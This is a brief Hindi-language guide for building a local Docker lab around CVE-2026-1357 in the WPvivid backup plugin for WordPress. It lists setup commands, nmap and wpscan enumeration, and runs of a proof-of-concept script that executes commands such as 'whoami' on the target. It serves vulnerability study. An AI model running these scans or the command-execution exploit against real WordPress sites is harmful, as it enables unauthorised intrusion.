CVE-2026-1357

CVE-2026-1357 के लिए लैब वातावरण

1. वातावरण तैयार करें

sudo apt update && sudo apt install docker.io docker-compose -y

sudo systemctl start docker

git clone [Link of Repo]

wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip

unzip wpvivid-backuprestore.0.9.123.zip

sudo docker-compose up -d

FireFox पर :

http://localhost

साइट शीर्षक: Admin Cyber-Hub

उपयोगकर्ता नाम: Admin

पासवर्ड: कुछ भी

ईमेल: [email protected]

2. भेद्यता का शोषण करें:

WordPress से प्लगइन्स और कुंजी सक्रिय करें

pip3 install requests pycryptodome --break-system-packages

nmap -sV -sC localhost

wpscan --url http://localhost --enumerate p --plugins-detection aggressive

python3 poc.py -u http://localhost -c "whoami"

python3 poc.py -u http://localhost -c "id"